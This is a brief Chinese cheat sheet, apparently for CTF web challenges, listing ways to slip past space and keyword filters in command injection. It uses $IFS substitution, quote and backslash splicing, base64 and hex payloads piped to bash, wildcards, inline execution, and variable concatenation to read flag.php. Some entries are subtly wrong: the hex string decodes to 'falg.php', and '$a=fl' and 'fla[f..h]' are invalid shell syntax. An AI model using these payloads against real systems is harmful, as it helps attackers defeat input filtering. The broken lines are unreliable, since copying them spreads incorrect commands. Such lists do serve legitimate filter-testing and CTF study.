绕过过滤

为了防止命令执行漏洞的发生,网页端通常会对请求做严格的过滤,通常都是针对于关键字的过滤,如过滤空格、过滤关键字等等

绕过空格

cat$IFS$9flag.php
cat${IFS}flag.php
cat<flag.php
cat<>flag.php
{cat,flag.php}
%20		//空格URL编码
%09		//制表位

绕过关键字

ca\t fla\g.php		//转义符绕过
cat fl''ag.php		//拼接过滤
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash			//base64绕过
echo "6361742066616c672e706870" | xxd -r -p | bash	//HEX绕过
cat flag.*			//通配符绕过
cat fla?.php
cat fla[f-h].php
cat fla[f..h].php
cat `ls | grep fla`	//内联执行绕过
cat $(ls | grep fla)
$a=fl;$b=ag;cat $a$b.php	//变量绕过